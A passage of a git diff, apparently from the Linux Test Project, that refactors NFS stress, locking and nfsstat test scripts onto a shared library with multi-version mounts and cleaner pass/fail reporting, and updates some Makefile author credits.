+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+#  PURPOSE: Runs fsstress over an NFS mount point for a specified amount
+#           of time. The purpose of this test is to stress the NFS kernel
+#           code and possibly the underlying filesystem where the export
+#           resides.  A PASS is if the test completes.
+
+TCID=nfs06
+TST_TOTAL=1
+TST_CLEANUP="nfs_cleanup"
+
+. nfs_lib.sh
+. test_net.sh
+
+do_test()
+{
+	tst_resm TINFO "Starting fsstress processes on NFS mounts"
+
+	local n=0
+	local pids
+	for i in $VERSION; do
+		fsstress -l 1 -d $TST_TMPDIR/$i/$n -n 1000 -p 50 -r -c > /dev/null &
+		pids="$pids $!"
+		n=$(( n + 1 ))
+	done
+
+	tst_resm TINFO "waiting for pids:$pids"
+	for p in $pids; do
+		wait $p
+		if [ $? -ne 0 ]; then
+			kill -9 $pids
+			tst_brkm TFAIL "fsstress process failed"
+		else
+			tst_resm TINFO "fsstress '$p' completed"
+		fi
+	done
+
+	tst_resm TPASS "all fsstress processes completed on '$n' NFS mounts"
+}
+
+nfs_setup
+
+do_test
+
+tst_exit
diff --git a/testcases/network/nfs/nfs_stress/nfs_lib.sh b/testcases/network/nfs/nfs_stress/nfs_lib.sh
index 38fec05..0abf39d 100644
--- a/testcases/network/nfs/nfs_stress/nfs_lib.sh
+++ b/testcases/network/nfs/nfs_stress/nfs_lib.sh
@@ -1,4 +1,5 @@
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+#!/bin/sh
+# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
 # This program is free software; you can redistribute it and/or
@@ -14,13 +15,46 @@
 # You should have received a copy of the GNU General Public License
 # along with this program. If not, see <http://www.gnu.org/licenses/>.
 
+VERSION=${VERSION:=3}
+NFILES=${NFILES:=1000}
+SOCKET_TYPE="${SOCKET_TYPE:-udp}"
+NFS_TYPE=${NFS_TYPE:=nfs}
+
+while getopts :ht:v:6 opt; do
+	case "$opt" in
+	h)
+		echo "Usage:"
+		echo "h        help"
+		echo "t x      socket type, tcp or udp, default is udp"
+		echo "v x      NFS version, default is '3'"
+		echo "6        run over IPv6"
+		exit 0
+	;;
+	v) VERSION=$OPTARG ;;
+	t) SOCKET_TYPE=$OPTARG ;;
+	6) # skip, test_net library already processed it
+	;;
+	*)
+		tst_brkm TBROK "unknown option: $opt"
+	;;
+	esac
+done
+
+get_socket_type()
+{
+	local t
+	local k=0
+	for t in $SOCKET_TYPE; do
+		if [ "$k" -eq "$1" ]; then
+			echo "${t}${TST_IPV6}"
+			return
+		fi
+		k=$(( k + 1 ))
+	done
+}
+
 nfs_setup()
 {
-	VERSION=${VERSION:=3}
-	NFILES=${NFILES:=1000}
-	SOCKET_TYPE="${SOCKET_TYPE:=udp}${TST_IPV6}"
-	NFS_TYPE=${NFS_TYPE:=nfs}
-
 	tst_check_cmds mount exportfs
 
 	tst_tmpdir
@@ -30,42 +64,74 @@
 		tst_brkm TCONF "Cannot run nfs-stress test on mounted NFS"
 	fi
 
-	tst_resm TINFO "NFS_TYPE: $NFS_TYPE, NFS VERSION: $VERSION"
-	tst_resm TINFO "NFILES: $NFILES, SOCKET_TYPE: $SOCKET_TYPE"
+	local i
+	local type
+	local n=0
+	local opts
+	local local_dir
+	local remote_dir
+	local mount_dir
+	for i in $VERSION; do
+		type=$(get_socket_type $n)
+		tst_resm TINFO "setup NFSv$i, socket type $type"
 
-	if [ "$NFS_TYPE" != "nfs4" ]; then
-		OPTS=${OPTS:="-o proto=$SOCKET_TYPE,vers=$VERSION "}
+		local_dir="$TST_TMPDIR/$i/$n"
+		remote_dir="$TST_TMPDIR/$i/$type"
+
+		mkdir -p $local_dir
+
+		tst_rhost_run -c "test -d $remote_dir"
+		if [ "$?" -ne 0  ]; then
+			tst_rhost_run -s -c "mkdir -p $remote_dir"
+			tst_rhost_run -s -c "exportfs -i -o no_root_squash,rw \
+				*:$remote_dir"
+		fi
+
+		opts="-o proto=$type,vers=$i"
+
+		if [ $TST_IPV6 ]; then
+			mount_dir="[$(tst_ipaddr rhost)]:$remote_dir"
+		else
+			mount_dir="$(tst_ipaddr rhost):$remote_dir"
+		fi
+
+
+		tst_resm TINFO "Mounting NFS '$mount_dir'"
+		tst_resm TINFO "to '$local_dir' with options '$opts'"
+
+		ROD mount -t nfs $opts $mount_dir $local_dir
+
+		n=$(( n + 1 ))
+	done
+
+	if [ "$n" -eq 1 ]; then
+		cd ${VERSION}/0
 	fi
-
-	tst_rhost_run -s -c "mkdir -p $TST_TMPDIR"
-
-	if [ $TST_IPV6 ]; then
-		REMOTE_DIR="[$(tst_ipaddr rhost)]:$TST_TMPDIR"
-	else
-		REMOTE_DIR="$(tst_ipaddr rhost):$TST_TMPDIR"
-	fi
-
-	if [ "$NFS_TYPE" = "nfs4" ]; then
-		tst_rhost_run -s -c "mkdir -p /export$TST_TMPDIR"
-		tst_rhost_run -s -c "mount --bind $TST_TMPDIR /export$TST_TMPDIR"
-		tst_rhost_run -s -c "exportfs -o no_root_squash,rw,nohide,\
-			insecure,no_subtree_check *:$TST_TMPDIR"
-	else
-		tst_rhost_run -s -c "exportfs -i -o no_root_squash,rw \
-			*:$TST_TMPDIR"
-	fi
-
-	tst_resm TINFO "Mounting NFS '$REMOTE_DIR' with options '$OPTS'"
-	ROD mount -t $NFS_TYPE $OPTS $REMOTE_DIR $TST_TMPDIR
-	cd $TST_TMPDIR
 }
 
 nfs_cleanup()
 {
 	tst_resm TINFO "Cleaning up testcase"
 	cd $LTPROOT
-	grep -q "$TST_TMPDIR" /proc/mounts && umount $TST_TMPDIR
 
-	tst_rhost_run -c "exportfs -u *:$TST_TMPDIR"
-	tst_rhost_run -c "rm -rf $TST_TMPDIR"
+	local i
+	local type
+	local local_dir
+	local remote_dir
+
+	local n=0
+	for i in $VERSION; do
+		local_dir="$TST_TMPDIR/$i/$n"
+		grep -q "$local_dir" /proc/mounts && umount $local_dir
+		n=$(( n + 1 ))
+	done
+
+	n=0
+	for i in $VERSION; do
+		type=$(get_socket_type $n)
+		remote_dir="$TST_TMPDIR/$i/$type"
+		tst_rhost_run -c "test -d $remote_dir && exportfs -u *:$remote_dir"
+		tst_rhost_run -c "test -d $remote_dir && rm -rf $remote_dir"
+		n=$(( n + 1 ))
+	done
 }
diff --git a/testcases/network/nfs/nfslock01/Makefile b/testcases/network/nfs/nfslock01/Makefile
index fa7c97e..e58fb44 100644
--- a/testcases/network/nfs/nfslock01/Makefile
+++ b/testcases/network/nfs/nfslock01/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/network/nfs/nfslock01/nfs_flock_frk.c b/testcases/network/nfs/nfslock01/nfs_flock_frk.c
deleted file mode 100644
index 234da9f..0000000
--- a/testcases/network/nfs/nfslock01/nfs_flock_frk.c
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * This program starts processes one and two simultaneously.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-int main(int argc, char **argv)
-{
-	pid_t pid;
-	char *Prog;
-
-	if (argc != 3) {
-		fprintf(stderr, "Usage: %s <process> <datafile>\n", argv[0]);
-		exit(2);
-	}
-
-	Prog = strrchr(argv[1], '/');
-	Prog++;
-
-	if ((pid = fork()) < 0) {
-		printf("Failed in forking, Errno = %d", errno);
-		exit(2);
-	} else if (pid == 0) {	/* child */
-		execl(argv[1], Prog, "0", argv[2], NULL);
-	} else {		/* parent */
-		execl(argv[1], Prog, "1", argv[2], NULL);
-	}
-
-	/*if (waitpid(pid, NULL, 0) != pid)
-	   printf("Failed in waitpid, Errno = %d", errno);
-	 */
-	exit(0);
-}
diff --git a/testcases/network/nfs/nfslock01/nfslock01 b/testcases/network/nfs/nfslock01/nfslock01
index 8485d85..ab04246 100755
--- a/testcases/network/nfs/nfslock01/nfslock01
+++ b/testcases/network/nfs/nfslock01/nfslock01
@@ -1,152 +1,83 @@
 #!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2001
 #
-#   Copyright (c) International Business Machines  Corp., 2001
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : nfslock
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 #  PURPOSE:
 #           Two processes open FLOCK_IDATA file simultaneously
 #           each one locks odd and even lines of the file simultaneously
 #           and fill them with '0's and '1's. After they find eof, the
 #           datafiles are compared.
-#
-#  HISTORY:
-#    04/25/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#***********************************************************************
 
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
+TCID=nfslock
+TST_TOTAL=1
+TST_CLEANUP="nfs_cleanup"
 
-$trace_logic
+. nfs_lib.sh
+. test_net.sh
 
-TC=nfslock
-TCbin=${TCbin:=`pwd`}
-TCtmp=${TCtmp:=$TCbin/$TC$$}
-TCsrc=${TCsrc:=$TCbin}
-TClog=${TClog:=$TCtmp}
-export TCID=$TC
-export TST_TOTAL=1
-export TST_COUNT=1
-
-mkdir $TCtmp >/dev/null 2>&1
-
-CLEANUP=${CLEANUP:=ON}
 LUSER=${LUSER:=root}
 
-FLOCK_DATA=$TClog/nfs_flock_data
-FLOCK_IDATA=$TClog/nfs_flock_idata
-FLOCK_ODATA=$TClog/nfs_flock_odata
-
-FLOCK_EXEC=$TCsrc/nfs_flock
-FLOCK_DGEN=$TCsrc/nfs_flock_dgen
-FLOCK_FRK=$TCsrc/nfs_flock_frk
-
-#----------------------------------------------------------------------
-# FUNCTION: do_setup
-# PURPOSE:  To create the necessary files to carry out the test
-# INPUT:    None.
-# OUTPUT:   None.
-#----------------------------------------------------------------------
 do_setup()
 {
-$trace_logic
-   echo "doing Setup"
+	nfs_setup
 
-   $FLOCK_DGEN $FLOCK_DATA 63 16384 0
-   $FLOCK_DGEN $FLOCK_ODATA 63 16384 1
+	tst_resm TINFO "creating test files"
+	ROD nfs_flock_dgen flock_data 63 16384 0
+	ROD nfs_flock_dgen flock_odata 63 16384 1
 
-   [ `wc -c $FLOCK_DATA | awk '{print $1}'` -ne 1048576 ] && { \
-      echo "abort - could not create $FLOCK_DATA"; exit 99; }
-   [ `wc -c $FLOCK_ODATA | awk '{print $1}'` -ne 1048576 ] && { \
-      echo "abort - could not create $FLOCK_ODATA"; exit 99; }
+	[ "$(wc -c flock_data | awk '{print $1}')" -ne 1048576 ] && \
+		tst_brkm TBROK "could not create 'flock_data'"
+
+	[ "$(wc -c flock_odata | awk '{print $1}')" -ne 1048576 ] && \
+		tst_brkm TBROK "could not create 'flock_odata'"
 }
 
-#----------------------------------------------------------------------
-# FUNCTION: do_cleanup
-# PURPOSE:  To delete all the files created to run this test.
-# INPUT:    None.
-# OUTPUT:   None.
-#----------------------------------------------------------------------
-do_cleanup()
-{
-$trace_logic
-   sleep 5
-   rm -rf $TCtmp
-}
-
-#----------------------------------------------------------------------
-# FUNCTION: do_test
-# PURPOSE:  Perform the necessary steps to complete the test.
-# INPUT:    None.
-# OUPUT:    Error messages are logged if any of the tests fail.
-#----------------------------------------------------------------------
 do_test()
 {
-$trace_logic
-   echo "Testing locking"
+	tst_resm TINFO "Testing locking"
 
-   cp $FLOCK_DATA $FLOCK_IDATA
+	ROD cp flock_data flock_idata
 
-   echo "locking $FLOCK_IDATA file and writing data"
-   $FLOCK_FRK $FLOCK_EXEC $FLOCK_IDATA
-   [ $? = 0 ] || end_testcase "Errors in do_test $TC"
-   sleep 1
-   diff $FLOCK_ODATA $FLOCK_IDATA > /dev/null 2>&1
-   [ $? = 0 ] || end_testcase "$FLOCK_ODATA is different than $FLOCK_IDATA"
+	tst_resm TINFO "locking 'flock_idata' file and writing data"
 
+	nfs_flock 0 flock_idata &
+	local pids=$!
+	nfs_flock 1 flock_idata &
+	pids="$pids $!"
+
+	tst_resm TINFO "waiting for pids: $pids"
+	for p in $pids; do
+		wait $p
+		if [ $? -ne 0 ]; then
+			tst_brkm TFAIL "nfs_lock process failed"
+		else
+			tst_resm TINFO "$p completed"
+		fi
+	done
+
+	diff flock_odata flock_idata
+	if [ $? -ne 0 ]; then
+		tst_resm TFAIL "content is different"
+	else
+		tst_resm TPASS "content is the same"
+	fi
 }
 
-#=============================================================================
-# FUNCTION NAME:        end_testcase
-#
-# FUNCTION DESCRIPTION: Clean up
-#
-# PARAMETERS:           string, IF AND ONLY IF the testcase fails
-#
-# RETURNS:              None.
-#=============================================================================
-
-end_testcase()
-{
-   $trace_logic
-   echo "$this_file: doing $0."
-   if [ "$CLEANUP" = "ON" ]; then
-     do_cleanup
-   fi
-
-   [ $# = 0 ] && { tst_resm TPASS "Test Successful"; exit 0; }
-   tst_resm TFAIL "Test Failed: $@"
-   exit 1
-}
-
-
-#----------------------------------------------------------------------
-# FUNCTION: MAIN
-# PURPOSE:  To invoke the functions to perform the tasks described in
-#           the prologue.
-# INPUT:    None.
-# OUTPUT:   A testcase run log with the results of the execution of this
-#           test.
-#----------------------------------------------------------------------
-
 do_setup
+
 do_test
-end_testcase
+
+tst_exit
diff --git a/testcases/network/nfs/nfsstat01/Makefile b/testcases/network/nfs/nfsstat01/Makefile
index 8723dd7..73ed609 100644
--- a/testcases/network/nfs/nfsstat01/Makefile
+++ b/testcases/network/nfs/nfsstat01/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/nfs/nfsstat01/nfsstat01 b/testcases/network/nfs/nfsstat01/nfsstat01
index 4a34d93..256fe60 100755
--- a/testcases/network/nfs/nfsstat01/nfsstat01
+++ b/testcases/network/nfs/nfsstat01/nfsstat01
@@ -1,261 +1,122 @@
-#! /bin/sh
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2001
 #
-#   Copyright (c) International Business Machines  Corp., 2001
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implie; warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : nfsstat
-#
-#  PURPOSE: Tests the 'nfsstat' command.  This test runs locally, so no
-#           actual network connection is needed.
-#
-#  SETUP: The nfs server/client daemons must be active.
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 #
-#  HISTORY:
-#    07/30/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Written
-#
-#**********************************************************************
 
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
+TCID=nfsstat01
+TST_TOTAL=4
+TST_CLEANUP="nfs_cleanup"
 
-$trace_logic
+. nfs_lib.sh
+. test_net.sh
 
-#-----------------------------------------------------------------------
-# Initialize local variables
-#-----------------------------------------------------------------------
-
-PID=$$
-
-TC=nfsstat01
-TCbin=${TCbin:=`pwd`}
-EXPORTDIR=${EXPORTDIR:=/tmp/$TC$PID}
-HOST=`hostname`
-CLEANUP=${CLEANUP:="ON"}
-VERSION=${VERSION:=3}
-TESTDIR=${TESTDIR:=/tmp/$TC$PID.testdir}
-NFS_TYPE=${NFS_TYPE:=nfs}
-export TCID=$TC
-export TST_TOTAL=1
-export TST_COUNT=1
-
-if [ "x$NFS_TYPE" != "xnfs4" ]; then
-    OPTS=${OPTS:="-o vers=$VERSION "}
-fi
-
-#---------------------------------------------------------------------#
-# FUNCTION: do_setup
-# PURPOSE:  To create the necessary files to carry out the test
-# INPUT:    None.
-# OUTPUT:   None.
-#---------------------------------------------------------------------#
-do_setup()
+setup()
 {
-$trace_logic
-
-   echo "do_setup $TC"
-
-   echo "This test runs LOCALLY."
-
-   IAM=${IAM:=`whoami`}
-   [ $IAM = "root" ] || end_testcase "Must be root user"
-
-   #Check for mountd.
-   rpcinfo -p | grep mountd
-   [ $? -eq 0 ] || end_testcase "Mountd is NOT running"
-
-   #Check for nfsd.
-   rpcinfo -p | grep nfs
-   [ $? -eq 0 ] || end_testcase "NFS server daemon (nfsd) is NOT running"
-
-   #Create export directory
-   mkdir -p $EXPORTDIR
-   [ $? -eq 0 ] || end_testcase "Could not create $EXPORTDIR"
-
-   #Export the data directory on HOST
-   if [ "x$NFS_TYPE" = "xnfs4" ]; then
-        mkdir -p /export$EXPORTDIR
-        [ $? = 0 ] || end_testcase "Could not create /export$EXPORTDIR locally"
-        mount --bind $EXPORTDIR /export$EXPORTDIR
-        [ $? = 0 ] || end_testcase "Could not bind $EXPORTDIR to /export"
-        /usr/sbin/exportfs -o no_root_squash,rw,nohide,insecure,no_subtree_check $HOST:$EXPORTDIR > /dev/null
-        [ $? = 0 ] || end_testcase "Could not export $EXPORTDIR on $HOST"
-    else
-       /usr/sbin/exportfs -i -o rw,no_root_squash $HOST:/$EXPORTDIR > /dev/null
-       [ $? -eq 0 ] || end_testcase "Could not export $EXPORTDIR on $HOST"
-   fi
-
-   #Verify export
-   showmount -e $HOST | grep $EXPORTDIR > /dev/null
-   [ $? -eq 0 ] || end_testcase "$EXPORTDIR not exported"
-
-   #Create mount point
-   mkdir -p $TESTDIR
-   [ $? -eq 0 ] || end_testcase "Could not create $TESTDIR"
-
-   #Mount from HOST.
-   mount -t $NFS_TYPE $OPTS $HOST:$EXPORTDIR $TESTDIR
-   [ $? -eq 0 ] || end_testcase "Could not mount from $HOST"
-
+	tst_check_cmds nfsstat
+	nfs_setup
 }
 
+get_calls()
+{
+	local name=$1
+	local field=$2
+	local nfs_f=$3
+	local calls=
+	local opt=
+	[ "$name" = "rpc" ] && opt="r" || opt="n"
 
-#---------------------------------------------------------------------#
-# FUNCTION: do_test
+	if [ "$nfs_f" = "nfs" ]; then
+		calls="$(grep $name /proc/net/rpc/$nfs_f | cut -d' ' -f$field)"
+		ROD nfsstat -c$opt | grep -q "$calls"
+		echo "$calls"
+		return
+	fi
+
+	calls=$(tst_rhost_run -c "grep $name /proc/net/rpc/$nfs_f" | \
+		cut -d' ' -f$field)
+	tst_rhost_run -s -c "nfsstat -s$opt" | grep -q "$calls"
+	echo "$calls"
+}
+
 # PURPOSE:  Performs simple copies and removes to verify statistic
 #           tracking using the 'nfsstat' command and /proc/net/rpc
-#---------------------------------------------------------------------#
 do_test()
 {
-$trace_logic
-  echo "do_test $TC"
+	tst_resm TINFO "checking RPC calls for server/client"
 
-  echo "Checking RPC calls for server and client"
+	local server_calls="$(get_calls rpc 2 nfsd)"
+	local client_calls="$(get_calls rpc 2 nfs)"
 
-  # Server
-  SERVER_CALLS=`cat /proc/net/rpc/nfsd | grep rpc | awk '{print $2}'`
-  nfsstat -sr | grep $SERVER_CALLS
-  [ $? -eq 0 ] || end_testcase "Check of server RPC calls failed"
+	tst_resm TINFO "calls $server_calls/$client_calls"
 
-  # Client
-  CLIENT_CALLS=`cat /proc/net/rpc/nfs | grep rpc | awk '{print $2}'`
-  nfsstat -cr | grep $CLIENT_CALLS
-  [ $? -eq 0 ] || end_testcase "Check of client RPC calls failed"
+	tst_resm TINFO "Checking for tracking of RPC calls for server/client"
+	cat /proc/cpuinfo > nfsstat01.tmp
 
+	local new_server_calls="$(get_calls rpc 2 nfsd)"
+	local new_client_calls="$(get_calls rpc 2 nfs)"
+	tst_resm TINFO "new calls $new_server_calls/$new_client_calls"
 
-  echo "Checking for tracking of RPC calls for server and client"
-  cat /proc/cpuinfo > $TESTDIR/nfsstat01.tmp
-  NEW_SERVER_CALLS=`cat /proc/net/rpc/nfsd | grep rpc | awk '{print $2}'`
-  [ $NEW_SERVER_CALLS -gt $SERVER_CALLS ] || end_testcase "Server RPC calls not increased"
-  NEW_CLIENT_CALLS=`cat /proc/net/rpc/nfs | grep rpc | awk '{print $2}'`
-  [ $NEW_CLIENT_CALLS -gt $CLIENT_CALLS ] || end_testcase "Client RPC calls not increased"
+	if [ "$new_server_calls" -le "$server_calls" ]; then
+		tst_resm TFAIL "server RPC calls not increased"
+	else
+		tst_resm TPASS "server RPC calls increased"
+	fi
 
-  nfsstat -sr | grep $NEW_SERVER_CALLS
-  [ $? -eq 0 ] || end_testcase "nfsstat not reporting change in server RPC calls"
-  nfsstat -cr | grep $NEW_CLIENT_CALLS
-  [ $? -eq 0 ] || end_testcase "nfsstat not reporting change in client RPC calls"
+	if [ "$new_client_calls" -le "$client_calls" ]; then
+		tst_resm TFAIL "client RPC calls not increased"
+	else
+		tst_resm TPASS "client RPC calls increased"
+	fi
 
+	tst_resm TINFO "checking NFS calls for server/client"
+	local field=
+	case $VERSION in
+	2) field=13
+	;;
+	*) field=15
+	;;
+	esac
 
-  echo "Checking NFS calls for server and client"
+	server_calls="$(get_calls proc$VERSION $field nfsd)"
+	client_calls="$(get_calls proc$VERSION $field nfs)"
+	tst_resm TINFO "calls $server_calls/$client_calls"
 
-  # Server
-  if [ "$VERSION" = "2" ]; then
-   SERVER_CALLS=`cat /proc/net/rpc/nfsd | grep proc2 | awk '{print $13}'`
-  else
-   SERVER_CALLS=`cat /proc/net/rpc/nfsd | grep proc3 | awk '{print $15}'`
-  fi
-  nfsstat -sn | grep $SERVER_CALLS
-  [ $? -eq 0 ] || end_testcase "Check of server NFS calls failed"
+	tst_resm TINFO "Checking for tracking of NFS calls for server/client"
+	rm -f nfsstat01.tmp
 
-  # Client
-  if [ "$VERSION" = "2" ]; then
-    CLIENT_CALLS=`cat /proc/net/rpc/nfs | grep proc2 | awk '{print $13}'`
-  else
-    CLIENT_CALLS=`cat /proc/net/rpc/nfs | grep proc3 | awk '{print $15}'`
-  fi
-  nfsstat -cn | grep $CLIENT_CALLS
-  [ $? -eq 0 ] || end_testcase "Check of client NFS calls failed"
+	new_server_calls="$(get_calls proc$VERSION $field nfsd)"
+	new_client_calls="$(get_calls proc$VERSION $field nfs)"
+	tst_resm TINFO "new calls $new_server_calls/$new_client_calls"
 
+	if [ "$new_server_calls" -le "$server_calls" ]; then
+		tst_resm TFAIL "server NFS calls not increased"
+	else
+		tst_resm TPASS "server NFS calls increased"
+	fi
 
-  echo "Checking for tracking of NFS calls for server and client"
-
-  rm -f $TESTDIR/nfsstat01.tmp
-  if [ "$VERSION" = "2" ]; then
-   NEW_SERVER_CALLS=`cat /proc/net/rpc/nfsd | grep proc2 | awk '{print $13}'`
-  else
-   NEW_SERVER_CALLS=`cat /proc/net/rpc/nfsd | grep proc3 | awk '{print $15}'`
-  fi
-  [ $NEW_SERVER_CALLS -gt $SERVER_CALLS ] || end_testcase "Server NFS calls not increased"
-
-  if [ "$VERSION" = "2" ]; then
-    NEW_CLIENT_CALLS=`cat /proc/net/rpc/nfs | grep proc2 | awk '{print $13}'`
-  else
-    NEW_CLIENT_CALLS=`cat /proc/net/rpc/nfs | grep proc3 | awk '{print $15}'`
-  fi
-  [ $NEW_CLIENT_CALLS -gt $CLIENT_CALLS ] || end_testcase "Client NFS calls not increased"
-
-  nfsstat -sn | grep $NEW_SERVER_CALLS
-  [ $? -eq 0 ] || end_testcase "nfsstat not reporting change in server NFS calls"
-  nfsstat -cn | grep $NEW_CLIENT_CALLS
-  [ $? -eq 0 ] || end_testcase "nfsstat not reporting change in client NFS calls"
-
-
+	if [ "$new_client_calls" -le "$client_calls" ]; then
+		tst_resm TFAIL "client NFS calls not increased"
+	else
+		tst_resm TPASS "client NFS calls increased"
+	fi
 }
 
-#---------------------------------------------------------------------#
-# FUNCTION: do_cleanup
-# PURPOSE:  To delete all the files created to run this test.
-# INPUT:    None.
-# OUTPUT:   None.
-#---------------------------------------------------------------------#
-do_cleanup()
-{
-$trace_logic
-   echo "do_cleanup $TC "
+setup
 
-   echo "Unmounting TESTDIR"
-   umount $TESTDIR
-   sleep 3
-   rm -rf $TESTDIR
-   sleep 3
-
-   echo "Unmounting EXPORTDIR"
-   /usr/sbin/exportfs -u $HOST:$EXPORTDIR
-
-   if [ "x$NFS_TYPE" = "xnfs4" ]; then
-       umount $EXPORTDIR
-       sleep 3
-       rm -rf /export$EXPORTDIR
-   fi
-
-   rm -rf $EXPORTDIR
-
-}
-
-#=============================================================================
-# FUNCTION NAME:        end_testcase
-#
-# FUNCTION DESCRIPTION: Clean up
-#
-# PARAMETERS:           None.
-#
-# RETURNS:              None.
-#=============================================================================
-end_testcase()
-{
-$trace_logic
-    if [ "$CLEANUP" = "ON" ]; then
-       do_cleanup
-    fi
-
-    [ $# = 0 ] && { tst_resm TPASS "Test Successful"; exit 0; }
-    tst_resm TFAIL "Test Failed: $@"
-    exit 1
-}
-
-#=============================================================================
-#---------------------------------------------------------------------#
-# FUNCTION: MAIN
-# PURPOSE:  To invoke the functions to perform the tasks described in
-#           the prologue.
-# INPUT:    None.
-# OUTPUT:   A testcase run log with the results of the execution of this
-#           test.
-#---------------------------------------------------------------------#
-do_setup
 do_test
-end_testcase
+
+tst_exit
diff --git a/testcases/network/nfsv4/Makefile b/testcases/network/nfsv4/Makefile
index 02a01d0..a311eaa 100644
--- a/testcases/network/nfsv4/Makefile
+++ b/testcases/network/nfsv4/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/nfsv4/acl/Makefile b/testcases/network/nfsv4/acl/Makefile
index 8bc78c2..8c55a6b 100644
--- a/testcases/network/nfsv4/acl/Makefile
+++ b/testcases/network/nfsv4/acl/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/nfsv4/locks/Makefile b/testcases/network/nfsv4/locks/Makefile
index 1cffdf2..5812dea 100644
--- a/testcases/network/nfsv4/locks/Makefile
+++ b/testcases/network/nfsv4/locks/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/nfsv4/locks/deploy_info b/testcases/network/nfsv4/locks/deploy_info
index 4402f94..b8a4660 100644
--- a/testcases/network/nfsv4/locks/deploy_info
+++ b/testcases/network/nfsv4/locks/deploy_info
@@ -1,7 +1,7 @@
 locktest.py script aims to help deploying and running locktests over multiple NFS
 clients accessing the same server.
 
-The source code of NFS client test is in ./deploy/locktests-2.tar.gz
+The source code of NFS client test is in ./deploy/locktests.tar.gz
 
 Setting up lock test with several test machines.
 ================================================
diff --git a/testcases/network/nfsv4/locks/locktests.py b/testcases/network/nfsv4/locks/locktests.py
index a01630d..dd518ab 100755
--- a/testcases/network/nfsv4/locks/locktests.py
+++ b/testcases/network/nfsv4/locks/locktests.py
@@ -19,7 +19,7 @@
 testfile=NFS4_PATH+"/testfile"
 
 app="locktests"
-SRC="locktests-2.tar.gz"
+SRC="locktests.tar.gz"
 SRC_PATH="deploy"
 install="'tar xzf "+SRC+"; cd locks;  make `"
 user="root"
diff --git a/testcases/network/rpc/Makefile b/testcases/network/rpc/Makefile
index 39e9faa..e6c3777 100644
--- a/testcases/network/rpc/Makefile
+++ b/testcases/network/rpc/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
